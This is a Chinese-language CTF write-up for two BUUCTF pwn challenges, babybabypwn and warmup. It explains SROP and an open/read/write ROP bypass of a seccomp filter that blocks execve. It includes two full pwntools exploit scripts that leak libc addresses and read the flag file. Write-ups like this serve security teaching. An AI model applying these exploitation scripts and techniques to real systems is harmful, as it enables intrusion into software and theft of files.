关于沙箱关闭execve的绕过技巧及SROP的简单利用方法 --(buuctf[V&N2020 公开赛])babybabypwn + warmup

前言

最近做buuctf又发现一种以前没有见过的沙箱关闭execve的题目,在网上找了很多资料,终于初步了解了一些简单的绕过技巧,故写此博客记录一下。

[V&N2020 公开赛]babybabypwn

查看保护

在这里插入图片描述
保护全开的64位Linux程序。

IDA查看伪代码

关于沙箱关闭execve的绕过技巧及SROP的简单利用方法 --(buuctf[V&N2020 公开赛])babybabypwn + warmup_第1张图片
直接进入main函数看看,发现syscall函数,并不是很了解这个函数,但是通过百度我们知道syscall的几个参数的意义。
第一个参数表示syscall调用的函数,例如题目中的15调用的就是sigreturn。
看到sigreturn相信很多人马上就联想到了SROP,不了解的推荐看一下CTFWIKI
这里详细的讲解了SROP的基础知识。
如果syscall调用的是sigreturn的话,那么第二个参数自然就是Signal Frame,通过CTFWIKI的学习我们知道这个Signal Frame存的就是所谓的即将恢复到栈上的寄存器的值。
关于沙箱关闭execve的绕过技巧及SROP的简单利用方法 --(buuctf[V&N2020 公开赛])babybabypwn + warmup_第2张图片
–图片引自于CTFWIKI
通过这张图我们可以发现,我们可以传入Signal Frame来达到伪造的效果。
当然,这里不需要这么复杂,我们的pwntools早就帮我们弄好了专门用来伪造Signal Frame的方法。

frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = rop_addr
frame.rdx = 0x200
frame.rip = read_addr
frame.rsp = rop_addr

如上面的代码所言,我们只需要伪造出一个读入到指定地址的read函数即可。

解题思路

通过题目的syscall(15, buf)知道,这里我们直接传入我们构造好的Signal Frame,这样我们就可以往我们想要写东西的地址写东西了,由此就达到了任意地址写的目的。
我们此时想为什么不直接传入system呢?这样不直接getshell了嘛,还要任意地址写干嘛呢?
题目当然不会那么简单,只考一个知识点,这里我们通过前面的代码可以发现:
关于沙箱关闭execve的绕过技巧及SROP的简单利用方法 --(buuctf[V&N2020 公开赛])babybabypwn + warmup_第3张图片
这里也就是博客名字的由来,沙箱关闭execve,也就是我们不能使用system等直接getshell的方式。那该怎么办才好嘞?这里我们可以用open,write,read三个函数来把flag读出来。具体思路是这样的:
我们首先把flag文件用open打开,然后使用read函数把flag读入到我们可以控制的地址,最后使用write函数打印在屏幕上即可。
思路很明确,但是程序打开了pie,我们很难利用到程序本身的函数,除非我们泄露出elf的基址,但是程序本身又没有直接泄露的函数,构造起来也十分麻烦。
但是大家应该注意到了前面程序泄露了一个puts的真实地址给我们,我们就很轻松的得到libc的基址了,这样的话,我们就可以一直利用libc里边的函数而不是利用elf中的函数了。

完整exp:

#! /usr/bin/env python
from pwn import *
from LibcSearcher import *

#p = process('./vn_pwn_babybabypwn_1')
p = remote('node3.buuoj.cn', 27169)
p.recvuntil('Here is my gift: ')
puts_addr = int(p.recvuntil('\n',drop = True),16)
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
open_addr = libc_base + libc.dump('open')
read_addr = libc_base + libc.dump('read')
bss = libc_base + 0x00000000003C5720
pop_rdi = libc_base + 0x0000000000021102
pop_rsi = libc_base + 0x00000000000202e8
pop_rdx = libc_base + 0x0000000000001b92
rop_addr = bss + 0x600
frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = rop_addr
frame.rdx = 0x200
frame.rip = read_addr
frame.rsp = rop_addr
p.sendafter('Please input magic message:',str(frame)[8:])
flag_addr = rop_addr + 0x78
#open(flag_addr,0)
rop = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
#read(fd,bss,0x30)
rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x30) + p64(read_addr)
#puts(bss)
rop += p64(pop_rdi) + p64(bss) + p64(puts_addr)
rop += '/flag\x00'
sleep(0.5)
p.send(rop)
p.interactive()

这里还有一个地方前面忘记讲了,就是flag_addr是怎么来的,我看很多大佬的博客都是算的bss和flag的偏移,我这里是算的输入点到我们输入的’/flag\x00’的距离,大家可以自己数一下,是15个0x8,也就是0x78。

[V&N2020 公开赛]warmup

查看保护

关于沙箱关闭execve的绕过技巧及SROP的简单利用方法 --(buuctf[V&N2020 公开赛])babybabypwn + warmup_第4张图片
64位Linux程序,保护没开canary,这里开不开区别不大。

IDA查看伪代码

关于沙箱关闭execve的绕过技巧及SROP的简单利用方法 --(buuctf[V&N2020 公开赛])babybabypwn + warmup_第5张图片
关于沙箱关闭execve的绕过技巧及SROP的简单利用方法 --(buuctf[V&N2020 公开赛])babybabypwn + warmup_第6张图片
关于沙箱关闭execve的绕过技巧及SROP的简单利用方法 --(buuctf[V&N2020 公开赛])babybabypwn + warmup_第7张图片
这道题同样给了puts函数的真实地址,同样禁止了execve的系统调用,我们就只能采用open,read,write函数了。不同的是,这题并没有SROP的调用函数了。
让我们来看看有没有类似的利用方法:
我们发现sub_9A1中可以溢出0x10的数据,而sub_9D3并不能溢出数据,那该怎么构造ROP链呢?0x10也难以构造ROP链啊?

解题思路

既然,两个函数都不能溢出达到我们想要的效果,我们就只能想一想有没有其他的办法来解决这个问题。
我们很容易就可以发现sub_9A1是在sub_9D3里边调用的,既然这样,那么他们应该是共享一个栈的(类似),那么我们就可以使用ret这个gadgets来从sub_9A1中跳转回sub_9D3,把sub_9D3当作溢出的位置即可。这样的话我们只需要提前在sub_9D3布置好东西就行,这样就相当于sub_9A1可以溢出0x180+0x10这么多,这样就足够我们构造rop链了。

完整exp:

#! /usr/bin/env python
from pwn import *

r = remote("node3.buuoj.cn", 29303)
context.log_level='debug'
context(arch = "amd64", os = "linux")
elf = ELF("./vn_pwn_warmup")
libc = ELF("./libc-2.23.so")

print r.recvuntil("Here is my gift: 0x")
puts_addr = int(r.recvuntil("\n").strip(), 16)
success("puts:" + hex(puts_addr))

libc.address = puts_addr - libc.symbols['puts']
read = libc.symbols['read']
open = libc.symbols['open']
write = libc.symbols['write']
success("open:" + hex(open))
success("read:" + hex(read))
success("write:" + hex(write))

libc_base = libc.address
success("libc base:" + hex(libc_base))
ret = libc_base + 0x000937
pop_rdi = libc_base + 0x021102
pop_rsi = libc_base + 0x0202e8
pop_rdx = libc_base + 0x001b92
write_place = libc.sym['environ']               #libc_base + 0x3C6500 also work
read_place =  libc.sym['environ'] + 8           #libc_base + 0x3C6700


print r.recvuntil("Input something: ")

#       read "/flag"
payload = p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(write_place) + p64(pop_rdx) + p64(0x100) + p64(read)
#       open
payload += p64(pop_rdi) + p64(write_place) + p64(pop_rsi) + p64(0) + p64(open)
#       read flag
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(read_place) + p64(pop_rdx) + p64(0x100) + p64(read)
#       write_flag
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(read_place) + p64(pop_rdx) + p64(0x100) + p64(write)


r.send(payload)

print r.recvuntil("What's your name?")
payload = 'a' * 0x70 + p64(0xdeadbeef) + p64(ret)
r.send(payload)
r.sendline('/flag\x00\x00')
r.interactive()

这里的write_place和read_place就相当于我们前面所说的libc中的bss段。

你可能感兴趣的:(pwn,栈溢出,ROP)